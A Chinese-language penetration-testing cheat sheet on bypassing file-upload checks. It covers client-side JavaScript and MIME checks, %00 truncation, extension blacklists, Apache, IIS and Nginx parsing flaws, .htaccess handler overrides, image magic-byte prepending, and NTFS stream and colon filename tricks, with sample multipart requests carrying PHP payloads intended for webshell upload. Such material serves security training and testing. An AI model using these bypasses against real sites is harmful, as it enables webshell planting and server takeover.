web渗透之文件上传绕过技巧
1.客户端javascript检测绕过(检测文件扩展名)
检测源码示例:
<script type="text/javascript">
function checkFileExt(filename)
{
var flag = false; //状态标志
var arr = ["jpg","png","gif"];
//取出上传文件的扩展名
var index = filename.lastIndexOf(".");
var ext = filename.substr(index+1);
//循环比较
for(var i=0;i<arr.length;i++)
{
if(ext == arr[i])
{
flag = true; //一旦找到合适的,立即退出循环
break;
}
}
//条件判断
if(flag)
{
document.write("文件名合法");
}else
{
document.write("文件名不合法");
}
}
</script>
[方法1] 上传test.jpg并抓包,在burpsuite中改名为test.php即可绕过上传
[方法2] 禁用javascript即可直接绕过上传
2.服务端MIME类型检测绕过(检测Content-Type内容)
检测源码示例
<?php
if($_FILES['user=file'][type]!="image/gif"){
echo "Sorry ,we only allow uploading GIF Images";
exit;
}
...
?>
[方法] 上传抓包,将上传文件中的Content-Type: text/plain(或其他形式)改为Content-Type: image/gif即可绕过上传
HTTP Content-Type常用对照表
text/plain .txt
image/jpeg .jpeg/.jpg
application/x-bmp .bmp
image/gif .gif
image/png .png
image/x-icon .ico
text/asa .asa
text/asp .asp
text/html .jsp/.htm/.html
3.服务端目录路径检测绕过(检测与path参数相关的内容)
[方法] 上传文件时可控制上传路径,利用%00截断修改上传路径
filepath=/image/test.php%00.gif/
filename=test.gif
服务端会把test.gif里的内容先保存为临时文件(类似于c:/temp/phpf3at7b),再写到/image/test.php中去,即可绕过上传
4.服务端文件扩展名检测绕过(检测与文件extension相关的内容)
(1)黑名单绕过
1)大小写绕过
Php AsP
2)名单列表绕过
默认解析列表
----------------------------------------------------
iis asa cer cdx
apache+php5 php3 php7 phps pht inc phtml ini pwml
apache+php7 phtml
3)特殊文件名绕过
test.asp[空格]
test.asp.
Windows环境下,test.asp[空格]或test.asp.这两类文件名都是不允许的,抓包修改文件名,绕过上传后Windows系统会自动去掉文件名最后的点和空格
4)%00截断绕过
test.php%00.jpg
test.php%00jpg
适用于asp、php、aspx、jsp等多种脚本语言,php 5.3.4版本修复了该漏洞
5)Apache多扩展名解析绕过
test.php.x1.x2
Apache将从右至左开始判断后缀,若x2非可识别后缀,再判断x1,直到找到可识别后缀为止,然后解析可识别后缀,如:test.php.x1.x2会被解析为test.php
6)Apache多扩展名解析绕过之基于web服务的解析方式
test.php.jpg
Apache的httpd.conf里有一行配置AddHandler php5-script .php,启用后只要文件名里包含.php就会被当作php文件执行
7)Apache危险解析绕过攻击之基于web服务的解析方式
test.jpg
Apache的httpd.conf里有一行配置AddType application/x-httpd-php .jpg,启用后即使扩展名是.jpg也会被当作php文件执行
8).htaccess文件攻击
test.jpg
.htaccess
Apache的httpd.conf里对目录的AllowOverride设置为All时,apache会应用目录下.htaccess中的配置,可编辑.htaccess文件并上传
----.htaccess-----------------------------------------------------------
<FilesMatch "test.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
------------------------------------------------------------------------
|Windows环境下创建.htaccess文件方法
|1.打开windows内建的记事本;
|2.选取另存新文件“文件->另存为”;
|3.在另存为的“保存类型”下拉选单中选取“所有文件”类型,可以选择utf-8,也可以是ansi
|4.这时就可在“文件名”中输入.htaccess;
|5.选取要另存的路径再按下保存,一个.htaccess 文件就新增完成。
------------------------------------------------------------------------
此时上传到该目录下的test.jpg会被当作php文件执行
9)解析漏洞绕过
a)IIS 6.0目录解析漏洞
/xx.asp/xx.jpg
IIS 6.0会把以xx.asp命名的文件夹下所有文本文件解析为asp文件
b)IIS 6.0后缀解析漏洞
/xx.asp;.jpg
/xx.asp:.jpg
IIS 6.0会把此类后缀文件解析为asp文件
可联合默认解析、目录解析及后缀解析使用,eg: /xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
c)IIS 7.0/IIS 7.5/Nginx <=0.8.37畸形解析漏洞
默认Fast-CGI开启的情况下
在一个文件路径(/xx.jpg)后面加上/xx.php会将 /xx.jpg/xx.php 解析为php文件
d)Nginx <=0.8.37 %00代码执行漏洞
影响版本:0.5,0.6,0.7<=0.7.65,0.8<=0.8.37
Fast-CGI关闭的情况下
在一个文件路径(/xx.jpg)后面加上%00.php会将 /xx.jpg%00.php 解析为php文件
(2)白名单绕过
1)%00截断绕过
2)解析漏洞绕过
5.服务端文件内容检测绕过(检测内容是否合法或含有恶意代码)
(1)文件幻数检测(在一句话木马开头加上如上幻数即可绕过内容检测)
jpg value=FF D8 FF E0 00 10 4A 46 49 46 //jpg图像结束标志:FF D9
gif value=47 49 46 38 39 61 //gif图像结束标志:01 01 00 3B,此处开头为GIF89a
png value=89 50 4E 47 //png图像结束标志:AE 42 60 82
tif value=49 49 2A 00
bmp value=42 4D //bmp图像结束标志:00
dwg value=41 43 31 30
psd value=38 42 50 53
rtf value=7B 5C 72 74 66
xls,doc value=D0 CF 11 E0
mdb value=53 74 61 6E 64 61 72 64 20 4A
- zip value=50 4B 03 04
- rar value=52 61 72 21
wav value=57 41 56 45
avi value=41 56 49 20
rm value=2E 52 4D 46
mpg value=00 00 01 BA
mpg value=00 00 01 B3
mov value=6D 6F 6F 76
pdf value=25 50 44 46 2D 31 2E
asf value=30 26 B2 75 8E 66 CF 11
mid value=4D 54 68 64
(2)文件相关信息检测
图像文件相关信息检测常用的函数是getimagesize()函数,只需把文件头部分伪造好就可以了,结构如下:
GIF89a
(...some binary data for image...)
<?php phpinfo();?>
(...skipping the rest of binary data...)
(3)文件加载检测
一般是调用API或函数对文本进行加载测试
(4)文件内容检测
6.其他技巧
(1)绕过PHP GD库对图片的转换处理实现上传执行
imagecreatefrom 系列函数用于从文件或 URL 载入一幅图像,成功返回图像资源,失败则返回一个空字符串
imagecreatefromgif() 创建一块画布,并从GIF文件或URL地址载入一副图像
imagecreatefromjpeg() 创建一块画布,并从JPEG文件或URL地址载入一副图像
imagecreatefrompng() 创建一块画布,并从PNG文件或URL地址载入一副图像
imagecreatefromwbmp() 创建一块画布,并从WBMP文件或URL地址载入一副图像
imagecreatefromstring() 创建一块画布,并从字符串中的图像流新建一副图像
[方法] 上传test.jpg后保存为xxxx1.jpg,再次上传test.jpg后保存为xxxx2.jpg,下载到本地对比两个文件相同的部分,该部分为图片帧数据,截取一部分在十六进制下修改为一句话木马,绕过后缀名检测上传执行
(2)php+window+iis环境,黑名单检测下利用系统特性进行文件上传
[前提] php+window+iis环境下,黑名单验证屏蔽了常见的php可执行文件类型
1)冒号截断+系统特性
背景知识1:利用冒号":"截断上传文件名,如:bypass.php:jpg,上传后会得到名为bypass.php的空文件
背景知识2:在php+window+iis环境下,双引号"""等价于点号".",大于号">"等价于问号"?",小于号"<"等价于星号"*"
a)利用冒号":"截断上传空文件
----code----------------------------------------
Content-Disposition: form-data; name="file"; filename="bypass.php:jpg"
Content-Type: image/jpeg
<?php phpinfo();?>
------------------------------------------------
在上传目录中找到到bypass.php空文件
b)利用系统特性覆写该文件
----code----------------------------------------
Content-Disposition: form-data; name="file"; filename="bypass.<<<"
Content-Type: image/jpeg
<?php phpinfo();?>
------------------------------------------------
由于"<" 就等于 "*",而"*"为通配符代表任意字符,从而成功实现文件写入
2)NTFS中交换数据流特性绕过黑名单验证
[前提] php+window+iis环境下,黑名单验证屏蔽了常见的php可执行文件类型
背景知识1:NTFS卷下完整文件名为<filename>:<stream name>:<stream type>
sample.txt文件名实际上是sample.txt::$DATA的缩写,sample.txt为文件名,$DATA为文件流类型,故sample.php::$DATA等价于sample.php
黑名单验证下上传如下文件名文件sample.php::$DATA,会在上传目录中得到sample.php文件
----code----------------------------------------
Content-Disposition: form-data; name="file"; filename="sample.php::$DATA"
Content-Type: image/jpeg
<?php phpinfo();?>
------------------------------------------------